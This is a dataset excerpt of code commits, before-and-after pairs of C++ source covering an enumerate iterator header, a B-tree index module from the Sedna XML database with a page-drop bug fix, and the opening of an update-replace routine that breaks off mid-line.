}\n }\n\n \/\/ Only keep the nodes in the largest maximally parallel rigid component.\n for (const auto& orientation : orientations) {\n const int index = FindOrDie(view_ids_to_index, orientation.first);\n \/\/ If the view is not in the maximal rigid component then remove it from the\n \/\/ view graph.\n if (!ContainsKey(maximal_rigid_component, index)) {\n CHECK(view_graph->RemoveView(orientation.first))\n << \"Could not remove view id \" << orientation.first\n << \" from the view graph because it does not exist.\";\n }\n }\n}\n\n} \/\/ namespace theia\n<|endoftext|>"} {"text":"<commit_before>#ifndef ITER_ENUMERATE_H_\n#define ITER_ENUMERATE_H_\n\n#include \"internal\/iterbase.hpp\"\n\n#include <utility>\n#include <iterator>\n#include <functional>\n#include <initializer_list>\n#include <type_traits>\n\nnamespace iter {\n namespace impl {\n template <typename Container>\n class Enumerable;\n\n using EnumerateFn = IterToolFn<Enumerable>;\n }\n constexpr impl::EnumerateFn enumerate;\n}\n\ntemplate <typename Container>\nclass iter::impl::Enumerable {\n private:\n Container container;\n const std::size_t start;\n\n friend EnumerateFn;\n\n \/\/ for IterYield\n using BasePair = std::pair<std::size_t, iterator_deref<Container>>;\n\n \/\/ Value constructor for use only in the enumerate function\n Enumerable(Container&& in_container, std::size_t in_start = 0)\n : container(std::forward<Container>(in_container)), start{in_start} {}\n\n public:\n Enumerable(Enumerable&&) = default;\n\n \/\/ \"yielded\" by the Enumerable::Iterator. Has a .index, and a\n \/\/ .element referencing the value yielded by the subiterator\n class IterYield : public BasePair {\n public:\n using BasePair::BasePair;\n typename BasePair::first_type& index = BasePair::first;\n typename BasePair::second_type& element = BasePair::second;\n };\n\n \/\/ Holds an iterator of the contained type and a size_t for the\n \/\/ index. Each call to ++ increments both of these data members.\n \/\/ Each dereference returns an IterYield.\n class Iterator : public std::iterator<std::input_iterator_tag, IterYield> {\n private:\n iterator_type<Container> sub_iter;\n std::size_t index;\n\n public:\n Iterator(iterator_type<Container>&& si, std::size_t start)\n : sub_iter{std::move(si)}, index{start} {}\n\n IterYield operator*() {\n return {this->index, *this->sub_iter};\n }\n\n ArrowProxy<IterYield> operator->() {\n return {**this};\n }\n\n Iterator& operator++() {\n ++this->sub_iter;\n ++this->index;\n return *this;\n }\n\n Iterator operator++(int) {\n auto ret = *this;\n ++*this;\n return ret;\n }\n\n bool operator!=(const Iterator& other) const {\n return this->sub_iter != other.sub_iter;\n }\n\n bool operator==(const Iterator& other) const {\n return !(*this != other);\n }\n };\n\n Iterator begin() {\n return {std::begin(this->container), start};\n }\n\n Iterator end() {\n return {std::end(this->container), start};\n }\n};\n\n#endif\n<commit_msg>explicit {} on enumerate init<commit_after>#ifndef ITER_ENUMERATE_H_\n#define ITER_ENUMERATE_H_\n\n#include \"internal\/iterbase.hpp\"\n\n#include <utility>\n#include <iterator>\n#include <functional>\n#include <initializer_list>\n#include <type_traits>\n\nnamespace iter {\n namespace impl {\n template <typename Container>\n class Enumerable;\n\n using EnumerateFn = IterToolFn<Enumerable>;\n }\n constexpr impl::EnumerateFn enumerate{};\n}\n\ntemplate <typename Container>\nclass iter::impl::Enumerable {\n private:\n Container container;\n const std::size_t start;\n\n friend EnumerateFn;\n\n \/\/ for IterYield\n using BasePair = std::pair<std::size_t, iterator_deref<Container>>;\n\n \/\/ Value constructor for use only in the enumerate function\n Enumerable(Container&& in_container, std::size_t in_start = 0)\n : container(std::forward<Container>(in_container)), start{in_start} {}\n\n public:\n Enumerable(Enumerable&&) = default;\n\n \/\/ \"yielded\" by the Enumerable::Iterator. Has a .index, and a\n \/\/ .element referencing the value yielded by the subiterator\n class IterYield : public BasePair {\n public:\n using BasePair::BasePair;\n typename BasePair::first_type& index = BasePair::first;\n typename BasePair::second_type& element = BasePair::second;\n };\n\n \/\/ Holds an iterator of the contained type and a size_t for the\n \/\/ index. Each call to ++ increments both of these data members.\n \/\/ Each dereference returns an IterYield.\n class Iterator : public std::iterator<std::input_iterator_tag, IterYield> {\n private:\n iterator_type<Container> sub_iter;\n std::size_t index;\n\n public:\n Iterator(iterator_type<Container>&& si, std::size_t start)\n : sub_iter{std::move(si)}, index{start} {}\n\n IterYield operator*() {\n return {this->index, *this->sub_iter};\n }\n\n ArrowProxy<IterYield> operator->() {\n return {**this};\n }\n\n Iterator& operator++() {\n ++this->sub_iter;\n ++this->index;\n return *this;\n }\n\n Iterator operator++(int) {\n auto ret = *this;\n ++*this;\n return ret;\n }\n\n bool operator!=(const Iterator& other) const {\n return this->sub_iter != other.sub_iter;\n }\n\n bool operator==(const Iterator& other) const {\n return !(*this != other);\n }\n };\n\n Iterator begin() {\n return {std::begin(this->container), start};\n }\n\n Iterator end() {\n return {std::end(this->container), start};\n }\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n * File: btree.cpp\n * Copyright (C) 2004 The Institute for System Programming of the Russian Academy of Sciences (ISP RAS)\n *\/\n\n#include \"common\/sedna.h\"\n\n#include \"tr\/idx\/btree\/btree.h\"\n#include \"tr\/idx\/btree\/btintern.h\"\n#include \"tr\/idx\/btree\/btpage.h\"\n#include \"tr\/idx\/btree\/btstruct.h\"\n#include \"tr\/vmm\/vmm.h\"\n\n\/* variables for debug *\/\n\/\/shft\tBTREE_HEIGHT=1;\n\nxptr bt_create(xmlscm_type t)\n{\n xptr root;\n char* pg;\n\n vmm_alloc_data_block(&root);\n pg = (char*)XADDR(root);\n bt_page_markup(pg, t);\n return root;\n}\n\nvoid bt_drop(const xptr &root)\n{\n char* cur_pg;\n xptr cur_xpg = root;\n\n do {\n CHECKP(cur_xpg);\n cur_pg = (char*)XADDR(cur_xpg);\n xptr next_level_lmp = BT_LMP(cur_pg);\n if ((next_level_lmp == XNULL) && !BT_IS_LEAF(cur_pg))\n throw USER_EXCEPTION2(SE1008, \"Encountered XNULL LMP field when trying to get left-most path in btree\");\n\n \/* walk through pages at current layer *\/\n do {\n xptr tmp = cur_xpg;\n CHECKP(cur_xpg);\n cur_xpg = BT_NEXT(cur_pg);\n cur_pg = (char*)XADDR(cur_xpg);\n vmm_delete_block(tmp);\n } while (cur_xpg != XNULL);\n\n cur_xpg = next_level_lmp;\n } while (cur_xpg != XNULL);\n}\n\nbt_cursor bt_find(const xptr &root, const bt_key &key)\n{\n bool rc;\n shft key_idx;\n xptr res_blk = root;\n\n CHECKP(res_blk);\n rc = bt_find_key(res_blk, (bt_key*)&key, key_idx);\n if (!rc) \/* no matching key *\/\n return bt_cursor();\n else\n return bt_cursor((char*)XADDR(res_blk), key_idx);\n}\n\n\/\/\/ !!! potential error here\nbt_cursor bt_find_ge(const xptr &root, const bt_key &key)\n{\n bool rc;\n shft key_idx;\n xptr next;\n xptr res_blk = root;\n\n CHECKP(res_blk);\n char* pg = (char*)XADDR(res_blk);\n\n rc = bt_find_key(res_blk, (bt_key*)&key, key_idx);\n if (!rc && key_idx == BT_RIGHTMOST)\n {\n#ifdef PERMIT_CLUSTERS\n if (BT_IS_CLUS(pg))\n {\n pg = bt_cluster_tail(pg);\n if (BT_KEY_NUM(pg) > 1) return bt_cursor(pg, 1);\n }\n#endif\n next = BT_NEXT(pg);\n if (next != XNULL)\n {\n CHECKP(next);\n return bt_cursor((char*)XADDR(next), 0); \n } \n else return bt_cursor();\n } \n else return bt_cursor((char*)XADDR(res_blk), key_idx);\n}\n\n\/\/\/ !!! potential error here\nbt_cursor bt_find_gt(const xptr &root, const bt_key &key)\n{\n bool rc;\n shft key_idx;\n xptr next;\n xptr res_blk = root;\n\tbt_key old_val=key;\n CHECKP(res_blk);\n char* pg = (char*)XADDR(res_blk);\n\n rc = bt_find_key(res_blk, (bt_key*)&key, key_idx);\n if (!rc && key_idx == BT_RIGHTMOST)\n {\n#ifdef PERMIT_CLUSTERS\n if (BT_IS_CLUS(pg))\n {\n pg = bt_cluster_tail(pg);\n if (BT_KEY_NUM(pg) > 1) return bt_cursor(pg, 1);\n }\n#endif\n next = BT_NEXT(pg);\n if (next != XNULL)\n {\n CHECKP(next);\n return bt_cursor((char*)XADDR(next), 0);\n\t\t}\n else return bt_cursor();\n }\n else\n {\n bt_cursor c((char*)XADDR(res_blk), key_idx);\n\t\tif (!bt_cmp_key(c.get_key(),old_val))\n\t\t{\n\t\t\tc.bt_next_key();\n\t\t\treturn c;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn c;\t\t\t\n\t\t}\n }\n}\n\nbt_cursor bt_lm(const xptr& root) \n{\n CHECKP(root);\n char* pg = (char*)XADDR(root);\n\n#ifdef PERMIT_CLUSTERS\n \/\/\/ !!! FIX ME UP\n#endif\n\n if (!BT_IS_LEAF(pg)) \n {\t\n return bt_lm(BT_LMP(pg));\n\t} \n else \n {\n return bt_cursor(pg, 0);\n }\n}\n\nvoid bt_insert(xptr &root, const bt_key &key, const object &obj)\n{\n bool rc;\n shft key_idx = 0;\n shft obj_idx = 0;\n xptr insert_xpg = root; \/* xptr passed to search functions, that can change, pointing to insert new data *\/\n char* insert_pg;\n\n \/* check key length doesn't exceed limit *\/\n if (key.get_size() >= BT_PAGE_PAYLOAD \/ 2)\n throw USER_EXCEPTION2(SE1008, \"The size of the index key exceeds max key limit\");\n\n rc = bt_find_key(insert_xpg, (bt_key*)&key, key_idx);\n \/* page could change *\/\n insert_pg = (char*)XADDR(insert_xpg);\n\n if (rc)\n {\n rc = bt_leaf_find_obj(insert_xpg, obj, key_idx, obj_idx);\n\n \/* if (rc) throw USER_EXCEPTION2(SE1008, \"The key\/object pair already exists in btree\");\n else\n {*\/\n CHECKP(insert_xpg);\n insert_pg = (char*)XADDR(insert_xpg);\n\n if (obj_idx == BT_RIGHTMOST)\n obj_idx = *((shft*)BT_CHNK_TAB_AT(insert_pg, key_idx) + 1);\n\n bt_leaf_insert(root, insert_pg, key_idx, false, key, obj, obj_idx);\n \/*}*\/\n } \n else\n {\n CHECKP(insert_xpg);\n\n if (key_idx == BT_RIGHTMOST)\n key_idx = BT_KEY_NUM(insert_pg);\n bt_leaf_insert(root, insert_pg, key_idx, true, key, obj, obj_idx);\n }\n}\n\nvoid bt_modify(xptr &root, const bt_key &old_key, const bt_key &new_key, const object &obj)\n{\n bt_delete(root, old_key, obj);\n bt_insert(root, new_key, obj);\n}\n\n\/* light delete functions - delete only data from pages, not droping the pages, i.e no\n implementation of page merge\/drop\n *\/\n\/* delete key\/obj pair *\/\nvoid bt_delete(xptr &root, const bt_key& key, const object &obj)\n{\n bool rc;\n shft key_idx;\n shft obj_idx;\n xptr delete_xpg = root; \/* xptr passed to search functions, that can change, pointing to page where data resides *\/\n char* delete_pg = (char*)XADDR(delete_xpg);\n\n CHECKP(delete_xpg);\n\n rc = bt_find_key(delete_xpg, (bt_key*)&key, key_idx);\n if (rc)\n {\n rc = bt_leaf_find_obj(delete_xpg, obj, key_idx, obj_idx);\n \/* page could change *\/\n CHECKP(delete_xpg);\n delete_pg = (char*)XADDR(delete_xpg);\n if (rc) bt_delete_obj(delete_pg, key_idx, obj_idx);\n else throw USER_EXCEPTION2(SE1008, \"Cannot delete object which is not in the btree\");\n }\n else throw USER_EXCEPTION2(SE1008, \"Cannot delete object which is not in the btree\");\n}\n\n\/* delete key and all associated objects *\/\nvoid bt_delete(xptr &root, const bt_key &key) \n{\n bool rc;\n shft key_idx;\n xptr delete_xpg = root; \/* xptr passed to search functions, that can change, pointing to page where data resides *\/\n char* delete_pg = (char*)XADDR(delete_xpg);\n\n CHECKP(delete_xpg);\n\n rc = bt_find_key(delete_xpg, (bt_key*)&key, key_idx);\n if (rc)\n { \/* page could change *\/\n CHECKP(delete_xpg);\n delete_pg = (char*)XADDR(delete_xpg);\n bt_leaf_delete_key(delete_pg, key_idx);\n }\n}\n\/* drop empty page*\/\nvoid bt_drop_page(const btree_blk_hdr * pg)\n{\n\txptr page=ADDR2XPTR(pg);\n\tbtree_blk_hdr * page_hdr= (btree_blk_hdr*)XADDR(page);\n\txptr left=page_hdr->prev;\n\txptr right=page_hdr->next;\n\t\/\/1. fixing block chain\n\tif (left!=XNULL)\n\t{\n\t\tCHECKP(left);\n\t\t((btree_blk_hdr*)XADDR(left))->next=right;\n\t\tVMM_SIGNAL_MODIFICATION(left);\n\n\t}\n\tif (right!=XNULL)\n\t{\n\t\tCHECKP(right);\n\t\t((btree_blk_hdr*)XADDR(right))->prev=left;\n\t\tVMM_SIGNAL_MODIFICATION(right);\n\n\t}\n\t\/\/remove key from upper layers\n\txptr parent=page_hdr->parent;\n\tif (parent==XNULL) \n\t\treturn;\n\tvmm_delete_block(page);\t\n\tCHECKP(parent);\n\tbtree_blk_hdr * par_hdr= (btree_blk_hdr*)XADDR(parent);\n\t\/\/ fix lmp\n\tif (par_hdr->lmp==page) \n\t\tpar_hdr->lmp=right;\n\t\/\/find key by xptr\n\tint key_idx=-1;\n\tfor (int i=0;i<BT_KEY_NUM(par_hdr);i++)\n\t{\n\t\tif (page==( *(xptr*)BT_BIGPTR_TAB_AT((char*)par_hdr, i)))\n\t\t{\n\t\t\tkey_idx=i;\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (key_idx<0)\n\t\tthrow USER_EXCEPTION2(SE1008, \"System error in indexes\");\n \n\tbt_nleaf_delete_key((char*)par_hdr,key_idx);\n\t\/\/VMM_SIGNAL_MODIFICATION(parent);\n\t\/\/recursive walthrough\n\tif (!BT_KEY_NUM(par_hdr)) bt_drop_page(par_hdr);\t \n}\n<commit_msg>bug fix in btrees<commit_after>\/*\n * File: btree.cpp\n * Copyright (C) 2004 The Institute for System Programming of the Russian Academy of Sciences (ISP RAS)\n *\/\n\n#include \"common\/sedna.h\"\n\n#include \"tr\/idx\/btree\/btree.h\"\n#include \"tr\/idx\/btree\/btintern.h\"\n#include \"tr\/idx\/btree\/btpage.h\"\n#include \"tr\/idx\/btree\/btstruct.h\"\n#include \"tr\/idx\/btree\/buff.h\"\n#include \"tr\/vmm\/vmm.h\"\n\n\/* variables for debug *\/\n\/\/shft\tBTREE_HEIGHT=1;\n\nxptr bt_create(xmlscm_type t)\n{\n xptr root;\n char* pg;\n\n vmm_alloc_data_block(&root);\n pg = (char*)XADDR(root);\n bt_page_markup(pg, t);\n return root;\n}\n\nvoid bt_drop(const xptr &root)\n{\n char* cur_pg;\n xptr cur_xpg = root;\n\n do {\n CHECKP(cur_xpg);\n cur_pg = (char*)XADDR(cur_xpg);\n xptr next_level_lmp = BT_LMP(cur_pg);\n if ((next_level_lmp == XNULL) && !BT_IS_LEAF(cur_pg))\n throw USER_EXCEPTION2(SE1008, \"Encountered XNULL LMP field when trying to get left-most path in btree\");\n\n \/* walk through pages at current layer *\/\n do {\n xptr tmp = cur_xpg;\n CHECKP(cur_xpg);\n cur_xpg = BT_NEXT(cur_pg);\n cur_pg = (char*)XADDR(cur_xpg);\n vmm_delete_block(tmp);\n } while (cur_xpg != XNULL);\n\n cur_xpg = next_level_lmp;\n } while (cur_xpg != XNULL);\n}\n\nbt_cursor bt_find(const xptr &root, const bt_key &key)\n{\n bool rc;\n shft key_idx;\n xptr res_blk = root;\n\n CHECKP(res_blk);\n rc = bt_find_key(res_blk, (bt_key*)&key, key_idx);\n if (!rc) \/* no matching key *\/\n return bt_cursor();\n else\n return bt_cursor((char*)XADDR(res_blk), key_idx);\n}\n\n\/\/\/ !!! potential error here\nbt_cursor bt_find_ge(const xptr &root, const bt_key &key)\n{\n bool rc;\n shft key_idx;\n xptr next;\n xptr res_blk = root;\n\n CHECKP(res_blk);\n char* pg = (char*)XADDR(res_blk);\n\n rc = bt_find_key(res_blk, (bt_key*)&key, key_idx);\n if (!rc && key_idx == BT_RIGHTMOST)\n {\n#ifdef PERMIT_CLUSTERS\n if (BT_IS_CLUS(pg))\n {\n pg = bt_cluster_tail(pg);\n if (BT_KEY_NUM(pg) > 1) return bt_cursor(pg, 1);\n }\n#endif\n next = BT_NEXT(pg);\n if (next != XNULL)\n {\n CHECKP(next);\n return bt_cursor((char*)XADDR(next), 0); \n } \n else return bt_cursor();\n } \n else return bt_cursor((char*)XADDR(res_blk), key_idx);\n}\n\n\/\/\/ !!! potential error here\nbt_cursor bt_find_gt(const xptr &root, const bt_key &key)\n{\n bool rc;\n shft key_idx;\n xptr next;\n xptr res_blk = root;\n\tbt_key old_val=key;\n CHECKP(res_blk);\n char* pg = (char*)XADDR(res_blk);\n\n rc = bt_find_key(res_blk, (bt_key*)&key, key_idx);\n if (!rc && key_idx == BT_RIGHTMOST)\n {\n#ifdef PERMIT_CLUSTERS\n if (BT_IS_CLUS(pg))\n {\n pg = bt_cluster_tail(pg);\n if (BT_KEY_NUM(pg) > 1) return bt_cursor(pg, 1);\n }\n#endif\n next = BT_NEXT(pg);\n if (next != XNULL)\n {\n CHECKP(next);\n return bt_cursor((char*)XADDR(next), 0);\n\t\t}\n else return bt_cursor();\n }\n else\n {\n bt_cursor c((char*)XADDR(res_blk), key_idx);\n\t\tif (!bt_cmp_key(c.get_key(),old_val))\n\t\t{\n\t\t\tc.bt_next_key();\n\t\t\treturn c;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn c;\t\t\t\n\t\t}\n }\n}\n\nbt_cursor bt_lm(const xptr& root) \n{\n CHECKP(root);\n char* pg = (char*)XADDR(root);\n\n#ifdef PERMIT_CLUSTERS\n \/\/\/ !!! FIX ME UP\n#endif\n\n if (!BT_IS_LEAF(pg)) \n {\t\n return bt_lm(BT_LMP(pg));\n\t} \n else \n {\n return bt_cursor(pg, 0);\n }\n}\n\nvoid bt_insert(xptr &root, const bt_key &key, const object &obj)\n{\n bool rc;\n shft key_idx = 0;\n shft obj_idx = 0;\n xptr insert_xpg = root; \/* xptr passed to search functions, that can change, pointing to insert new data *\/\n char* insert_pg;\n\n \/* check key length doesn't exceed limit *\/\n if (key.get_size() >= BT_PAGE_PAYLOAD \/ 2)\n throw USER_EXCEPTION2(SE1008, \"The size of the index key exceeds max key limit\");\n\n rc = bt_find_key(insert_xpg, (bt_key*)&key, key_idx);\n \/* page could change *\/\n insert_pg = (char*)XADDR(insert_xpg);\n\n if (rc)\n {\n rc = bt_leaf_find_obj(insert_xpg, obj, key_idx, obj_idx);\n\n \/* if (rc) throw USER_EXCEPTION2(SE1008, \"The key\/object pair already exists in btree\");\n else\n {*\/\n CHECKP(insert_xpg);\n insert_pg = (char*)XADDR(insert_xpg);\n\n if (obj_idx == BT_RIGHTMOST)\n obj_idx = *((shft*)BT_CHNK_TAB_AT(insert_pg, key_idx) + 1);\n\n bt_leaf_insert(root, insert_pg, key_idx, false, key, obj, obj_idx);\n \/*}*\/\n } \n else\n {\n CHECKP(insert_xpg);\n\n if (key_idx == BT_RIGHTMOST)\n key_idx = BT_KEY_NUM(insert_pg);\n bt_leaf_insert(root, insert_pg, key_idx, true, key, obj, obj_idx);\n }\n}\n\nvoid bt_modify(xptr &root, const bt_key &old_key, const bt_key &new_key, const object &obj)\n{\n bt_delete(root, old_key, obj);\n bt_insert(root, new_key, obj);\n}\n\n\/* light delete functions - delete only data from pages, not droping the pages, i.e no\n implementation of page merge\/drop\n *\/\n\/* delete key\/obj pair *\/\nvoid bt_delete(xptr &root, const bt_key& key, const object &obj)\n{\n bool rc;\n shft key_idx;\n shft obj_idx;\n xptr delete_xpg = root; \/* xptr passed to search functions, that can change, pointing to page where data resides *\/\n char* delete_pg = (char*)XADDR(delete_xpg);\n\n CHECKP(delete_xpg);\n\n rc = bt_find_key(delete_xpg, (bt_key*)&key, key_idx);\n if (rc)\n {\n rc = bt_leaf_find_obj(delete_xpg, obj, key_idx, obj_idx);\n \/* page could change *\/\n CHECKP(delete_xpg);\n delete_pg = (char*)XADDR(delete_xpg);\n if (rc) bt_delete_obj(delete_pg, key_idx, obj_idx);\n else throw USER_EXCEPTION2(SE1008, \"Cannot delete object which is not in the btree\");\n }\n else throw USER_EXCEPTION2(SE1008, \"Cannot delete object which is not in the btree\");\n}\n\n\/* delete key and all associated objects *\/\nvoid bt_delete(xptr &root, const bt_key &key) \n{\n bool rc;\n shft key_idx;\n xptr delete_xpg = root; \/* xptr passed to search functions, that can change, pointing to page where data resides *\/\n char* delete_pg = (char*)XADDR(delete_xpg);\n\n CHECKP(delete_xpg);\n\n rc = bt_find_key(delete_xpg, (bt_key*)&key, key_idx);\n if (rc)\n { \/* page could change *\/\n CHECKP(delete_xpg);\n delete_pg = (char*)XADDR(delete_xpg);\n bt_leaf_delete_key(delete_pg, key_idx);\n }\n}\n\/* drop empty page*\/\nvoid bt_drop_page(const btree_blk_hdr * pg)\n{\n\txptr page=ADDR2XPTR(pg);\n\tbtree_blk_hdr * page_hdr= (btree_blk_hdr*)XADDR(page);\n\txptr left=page_hdr->prev;\n\txptr right=page_hdr->next;\n\t\/\/1. fixing block chain\n\tif (left!=XNULL)\n\t{\n\t\tCHECKP(left);\n\t\t((btree_blk_hdr*)XADDR(left))->next=right;\n\t\tVMM_SIGNAL_MODIFICATION(left);\n\n\t}\n\tif (right!=XNULL)\n\t{\n\t\tCHECKP(right);\n\t\t((btree_blk_hdr*)XADDR(right))->prev=left;\n\t\tVMM_SIGNAL_MODIFICATION(right);\n\n\t}\n\t\/\/remove key from upper layers\n\txptr parent=page_hdr->parent;\n\tif (parent==XNULL) \n\t\treturn;\n\tvmm_delete_block(page);\t\n\tCHECKP(parent);\n\tbtree_blk_hdr * par_hdr= (btree_blk_hdr*)XADDR(parent);\n\t\/\/ fix lmp\n\tif (par_hdr->lmp==page) \n\t\tpar_hdr->lmp=right;\n\t\/\/find key by xptr\n\tint key_idx=-1;\n\tfor (int i=0;i<BT_KEY_NUM(par_hdr);i++)\n\t{\n\t\tif (page==( *(xptr*)BT_BIGPTR_TAB_AT((char*)par_hdr, i)))\n\t\t{\n\t\t\tkey_idx=i;\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (key_idx<0)\n\t\tthrow USER_EXCEPTION2(SE1008, \"System error in indexes\");\n \n\tbt_nleaf_delete_key((char*)par_hdr,key_idx);\n\t\/\/VMM_SIGNAL_MODIFICATION(parent);\n\t\/\/recursive walthrough\n\tif (!BT_KEY_NUM(par_hdr))\n\t{\n\t\tif (par_hdr->lmp!=XNULL)\n\t\t{\n\t\t\t\/\/the case whe only one pointer left in non-leaf page\n\t\t\txptr grandpa=par_hdr->parent;\/\/save parent\n\t\t\txptr left_unc=par_hdr->prev;\/\/save left\n\t\t\txptr right_unc=par_hdr->next;\/\/save right\n\t\t\txptr lmp=par_hdr->lmp;\n\t\t\tCHECKP(lmp);\n\t\t\tchar* dst = bt_tune_buffering(true, 4);\n\t\t\tmemcpy(dst,(char*)XADDR(lmp)+sizeof(vmm_sm_blk_hdr),PAGE_SIZE-sizeof(vmm_sm_blk_hdr));\n\t\t\tCHECKP(parent);\n\t\t\tmemcpy((char*)XADDR(parent)+sizeof(vmm_sm_blk_hdr),dst,PAGE_SIZE-sizeof(vmm_sm_blk_hdr));\n\t\t\tpar_hdr->parent=grandpa;\/\/restore\n\t\t\tpar_hdr->prev=left_unc;\n\t\t\tpar_hdr->next=right_unc;\n\t\t\tVMM_SIGNAL_MODIFICATION(parent);\n\t\t\tvmm_delete_block(lmp);\n\n\t\t}\n\t\telse\n\t\t\tbt_drop_page(par_hdr);\t \n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * File: other_updates.cpp\n * Copyright (C) 2004 The Institute for System Programming of the Russian Academy of Sciences (ISP RAS)\n *\/\n\n#include \"common\/sedna.h\"\n\n#include \"tr\/updates\/updates.h\"\n#include \"tr\/executor\/base\/xptr_sequence.h\"\n#include \"tr\/mo\/mo.h\"\n#include \"tr\/auth\/auc.h\"\n#include \"tr\/locks\/locks.h\"\n\n#ifdef SE_ENABLE_TRIGGERS\n#include \"tr\/triggers\/triggers.h\"\n#endif\n\n#include \"tr\/structures\/nodeutils.h\"\n#include \"tr\/structures\/textcptr.h\"\n\nvoid replace(PPOpIn arg)\n{\n xptr node, parent, tmp_node, old_node, node_child, del_node, attr_node;\n schema_node_xptr scm_node;\n tuple t(arg.ts);\n\n xptr_sequence arg1seq; \/\/ Indirection of nodes which are going to be replaced\n xptr_sequence arg1seq_tmp; \/\/ Nodes which are going to be replaced\n xptr_sequence arg2seq; \/\/ Nodes to replace with (both persistent and temp)\n\n \/* Persistent nodes to replace with (+ theirs position in arg2seq) *\/\n descript_sequence arg3seq(2);\n\n upd_ns_map* ins_swiz = NULL;\n bool is_node_updated = true;\n\n \/*\n * Fill up sequences with nodes to update and update with,\n * child (arg) returns the following sequence of items:\n * 1. node to be replaced (1)\n * 2. nodes to replace with (2)\n * 3. special tuple which contains separator value (3)\n *\/\n arg.op->next(t);\n\n while (!t.is_eos())\n {\n if (t.cells[0].is_node())\n {\n node=t.cells[0].get_node();\n CHECKP(node);\n \/*\n * In (1) case node must be persistent (is_node_updated is true)\n * In (2) case it can be temporary\n * In both cases document nodes are not allowed\n *\/\n if ((!is_node_updated || is_node_persistent(node)) && !is_node_document(node))\n {\n xptr indir=nodeGetIndirection(node);\n\n if (is_node_updated)\n {\n \/* Case (1) - fill up sequence with nodes to be replaced *\/\n is_node_updated=false;\n \/* Next nodes from arg are case (2) nodes, so we can use shared lock *\/\n local_lock_mrg->lock(lm_s);\n arg1seq.add(indir);\n arg1seq_tmp.add(node);\n }\n else\n {\n \/* Case (2) - fill up sequence with nodes to replace with *\/\n if (is_node_persistent(node))\n {\n tuple tup(2);\n tup.copy(tuple_cell::node(node),tuple_cell((int64_t)(arg2seq.size())));\n arg3seq.add(tup);\n }\n arg2seq.add(indir);\n }\n }\n#ifndef IGNORE_UPDATE_ERRORS\n else\n {\n throw USER_EXCEPTION(SE2020);\n }\n#endif\n }\n else\n {\n \/* Must be separator in this case (3) *\/\n if (t.cells[0].get_atomic_type() == se_separator)\n {\n arg2seq.add(XNULL);\n is_node_updated=true;\n \/* Next nodes from arg are case (1) node, so we can use shared lock *\/\n local_lock_mrg->lock(lm_x);\n }\n#ifndef IGNORE_UPDATE_ERRORS\n else throw USER_EXCEPTION(SE2021);\n#endif\n }\n\n arg.op->next(t);\n }\n\n \/* Nothing to do in this case *\/\n if (arg1seq.size()<=0) return;\n\n \/* Checking authorization *\/\n if (is_auth_check_needed(REPLACE_STATEMENT))\n auth_for_update(&arg1seq, REPLACE_STATEMENT, false);\n\n \/* Find all common nodes in agr3seq (nodes to replace with) and\n * arg1seq_tmp (nodes to be replaced). Make a copy of all such nodes. *\/\n arg1seq_tmp.sort();\n arg3seq.sort();\n descript_sequence::iterator it3 = arg3seq.begin();\n xptr_sequence::iterator it1 = arg1seq_tmp.begin();\n\n while(it3 != arg3seq.end() && it1 != arg1seq_tmp.end())\n {\n switch(nid_cmp_effective((*it3).cells[0].get_node(), *it1))\n {\n case 0: case -2:\n {\n node = copy_to_temp((*it3).cells[0].get_node());\n xptr indir=nodeGetIndirection(node);\n arg2seq.set(indir,(*it3).cells[1].get_xs_integer());\n ++it3;\n }\n break;\n case 1:\n ++it1;\n break;\n case 2:\n ++it1;\n break;\n case -1:\n ++it3;\n break;\n }\n }\n#ifdef SE_ENABLE_TRIGGERS\n apply_per_statement_triggers(&arg1seq, false, NULL, false, TRIGGER_BEFORE, TRIGGER_REPLACE_EVENT);\n#endif\n\n arg3seq.clear();\n xptr_sequence::iterator it = arg1seq.begin();\n xptr_sequence::iterator sit = arg2seq.begin();\n int ctr=0;\n do\n {\n tuple tup(2);\n \/* arg3seq will contain pairs: node -> int, namely\n * node to be replaced -> place in sequence of nodes to replace with *\/\n tup.copy(tuple_cell::node(indirectionDereferenceCP(*it)),tuple_cell((int64_t)ctr));\n arg3seq.add(tup);\n \/* XNULL separates nodes in arg2seq (nodes replace with) per each\n * node in arg1seq (nodes to be replaced) *\/\n while(*sit!=XNULL)\n {\n sit++;\n ctr++;\n }\n sit++;\n ctr++;\n it++;\n } while (it != arg1seq.end());\n\n arg3seq.sort();\n it3=arg3seq.begin();\n descript_sequence arg4seq(2);\n do\n {\n node=(*it3).cells[0].get_node();\n tuple t=(*it3);\n t.cells[0].set_safenode(node);\n ++it3;\n arg4seq.add(t);\n\n } while (it3!=arg3seq.end());\n\n \/* Deleting, inserting new nodes *\/\n it3 = arg4seq.end();\n do\n {\n --it3;\n node = old_node = (*it3).cells[0].get_safenode();\n int pos=(*it3).cells[1].get_xs_integer();\n sit=arg2seq.begin()+pos;\n CHECKP(node);\n xptr leftn=nodeGetLeftSibling(old_node);\n xptr rightn=nodeGetRightSibling(old_node);\n xptr par_ind= nodeGetParentIndirection(old_node);\n bool a_m=is_node_attribute(node);\n bool d_m=a_m||is_node_text(node);\n\n#ifdef SE_ENABLE_TRIGGERS\n CHECKP(old_node);\n scm_node = getSchemaPointer(old_node);\n parent= nodeGetParent(old_node);\n CHECKP(old_node);\n tmp_node = prepare_old_node(old_node, scm_node, TRIGGER_REPLACE_EVENT);\n\n \/* Before-for-each-node triggers (cycle for all inserted nodes) *\/\n xptr_sequence::iterator tr_it=sit;\n while(*tr_it!=XNULL)\n {\n node_child=*tr_it;\n parent=indirectionDereferenceCP(par_ind);\n if(apply_per_node_triggers(indirectionDereferenceCP(node_child), old_node, parent, scm_node, TRIGGER_BEFORE, TRIGGER_REPLACE_EVENT) == XNULL)\n goto next_replacement;\n tr_it++;\n }\n#endif\n\n \/\/pre_deletion\n if (d_m)\n {\n delete_node(old_node);\n }\n \/\/1.inserting attributes from sequence\n while(*sit != XNULL)\n {\n node_child = *sit;\n if (is_node_attribute(indirectionDereferenceCP(node_child)))\n {\n parent = indirectionDereferenceCP(par_ind);\n attr_node=deep_copy_node(XNULL, XNULL, parent, indirectionDereferenceCP(node_child), is_node_persistent(node_child) ? NULL : &ins_swiz, true);\n#ifdef SE_ENABLE_TRIGGERS\n apply_per_node_triggers(attr_node, tmp_node, parent, scm_node, TRIGGER_AFTER, 